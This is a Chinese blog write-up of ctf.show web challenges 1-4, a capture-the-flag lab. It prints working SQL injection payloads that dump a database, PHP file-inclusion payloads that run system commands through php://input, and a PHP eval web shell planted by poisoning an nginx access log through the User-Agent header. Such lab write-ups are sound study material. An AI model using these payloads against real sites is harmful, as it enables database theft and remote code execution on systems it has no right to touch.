

ctf.show web 1-4 writeup

原创

Sk1y 于 2021-02-17 01:17:46 发布 196 收藏 1

分类专栏: [CTF刷题记录](#) 文章标签: [安全 web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/RABCDXB/article/details/113826646>

版权



[CTF刷题记录](#) 专栏收录该内容

143 篇文章 3 订阅

订阅专栏

目录

web签到题

解题过程:

web2

解题过程

判断字段数和回显位

查看版本信息

爆库名

爆表名

爆列名

爆字段值

web3

解题过程

web4

解题过程

日志注入

相关学习资料:

web签到题

题目:

ctf.show平台的, [题目传送门](#)

Challenge 1477 Solves ×

web签到题

1

web签到题

Instance Info

Remaining Time: 3436s

Lan Domain: 3330-e3815669-b7a5-4801-9c4a-ec9dcad3da28

http://e3815669-b7a5-4801-9c4a-ec9dcad3da28.chall.ctf.show:8080/

Destroy this instance **Renew this instance**

Flag

<https://blog.csdn.net/RABCDXB>

解题过程:

where is flag?

打开f12, 看到一串编码

```
<html>
  <head></head>
  <body>
    where is flag?
    <!--Y3Rmc2hvd3s5MWZhOTRkZi04NjYzLTRjZGUtOTk1NC00NDA0NzM0ZDBiY2F9-->
  </body>
</html>
```

base64解码, 即可得到flag.

请输入要进行 Base64 编码或解码的字符

Y3Rmc2hvd3s5MWZhOTRkZi04NjYzLTRjZGUtOTk1NC00NDA0NzM0ZDBiY2F9

编码 (Encode)

解码 (Decode)

↕ 交换

(编码快捷键: **Ctrl** + **Enter**)

Base64 编码或解码的结果:

编/解码后自动全选

ctfshow{91fa94df-8663-4cde-9954-4404734d0bca}

<https://blog.csdn.net/RABCDXB>

web2

题目:

Challenge 915 Solves ×

web2

3

最简单的SQL注入

Instance Info

Remaining Time: 3586s
Lan Domain: 3330-bf634f55-06bd-4875-
bb0b-50950a30c9b7
http://bf634f55-06bd-4875-
bb0b-50950a30c9b7.chall.ctf.show:8080/

[Destroy this instance](#) [Renew this instance](#)

[Unlock Hint for 1 points](#)

<https://blog.csdn.net/RABCDXB>

解题过程

打开题目，是个登录界面，很明显的sql注入，判断是什么类型的注入

尝试用户名: admin' or 1=1# 密码: 1 ，回显

ctf.show_web2

欢迎你, ctfshow

用户名:

密 码:

<https://blog.csdn.net/RABCDXB>

好了，是字符型的。

判断字段数和回显位



回显:

ctf.show_web2

欢迎你, 2
用户名:

密 码:

登陆

<https://blog.csdn.net/RABCDXB>

可以得出有3个字段，同时回显位是2

查看版本信息

```
username=admin' union select 1,version(),3#&password=1
```

欢迎你, 10.3.18-MariaDB

爆库名

```
username=admin' union select 1,database(),3#&password=1
```

欢迎你, web2

爆表名

```
username=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema
```

欢迎你, flag,user

用户名:

爆列名

上面爆出的表名有flag,user，所以我们可以猜测我们要找的数据在flag中（如果不是还可以去找另一个）

```
username=admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name
```

欢迎你, flag

爆字段值

```
username=admin' union select 1,group_concat(0x3a,flag),3 from flag#&password=1
```

欢迎你, :ctfshow{7be6221b-2b08-4edd-a48c-9e38797856ee}

web3

题目:

Challenge

787 Solves

×

web3
3

更简单的web题

Instance Info

Remaining Time: 3509s

Lan Domain: 3330-c6cc4a4d-3cd1-487a-
98ed-6f36c805a858

http://c6cc4a4d-3cd1-487a-
98ed-6f36c805a858.chall.ctf.show:8080/

Destroy this instance

Renew this instance

<https://blog.csdn.net/RABCDXB>

解题过程

打开题目后, 如下, 感觉是关于文件包含漏洞的

ctf.show_web3

```
<?php include($_GET['url']);?>
```

可以通过php伪协议php://input进行操作

php://input 可以访问请求的原始数据的只读流，将post请求中的数据作为php代码执行。

ctf_go_go index.php

ctf.show_web3

```
<?php include($_GET['url']);?>
```

Post data: <?php system("ls");?>

<https://blog.csdn.net/RABCDXB>

然后继续查看ctf_go_go_go,

```
<?php system("cat ctf_go_go_go");?>
```

ctfshow{00b7c431-bfff-446a-88f6-89e22a684277}

web4

题目:

Challenge 525 Solved x

web4 3

Instance Info

Remaining Time: 3525s
Lan Domain: 3330-859703a6-7fda-41ec-
ba6d-465396c1b9ff
http://859703a6-7fda-41ec-
ba6d-465396c1b9ff.chall.ctf.show:8080/

Destroy this instance Renew this instance

<https://blog.csdn.net/RABCDXB>

解题过程

打开后，是这样的

ctf.show_web4

```
<?php include($_GET['url']);?>
```

和web3比较类似，但是试了试发现不太行，

试试传入?url=php 回显 error 看来url过滤了php

没啥头绪，找找师傅们的wp

日志注入

burp抓包分析后，查看响应头，发现是由nginx搭建的网站

```
Server: nginx/1.16.1
```

nginx的日志文件在/var/log/nginx/access.log和/var/log/nginx/error.log中，前者可以打开



```
172.12.0.60 - - [16/Feb/2021:15:02:31 +0000] "GET /favicon.ico HTTP/1.1" 200 715 "http://859703a6-7fda-41ec-ba6d-465396c1b9ff.chall.ctf.show:8080/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" 172.12.0.60 - - [16/Feb/2021:15:02:36 +0000] "GET / HTTP/1.1" 200 715 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0" 172.12.0.60 - - [16/Feb/2021:15:05:26 +0000] "GET /?url=php HTTP/1.1" 200 15 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
```

在burp抓包，在UA中插入一句话木马

```
<?php eval($_POST['cmd']);?>
```



```
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: edea5418-aecf-4bb5-ab23-546e92582fdf.chall.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101<?php eval($_POST['a']);?> Firefox/85.0
```

然后传入后，菜刀或者蚁剑进行操作就可以。

相关学习资料：

- 1.文件包含漏洞学习
- 2.日志注入漏洞

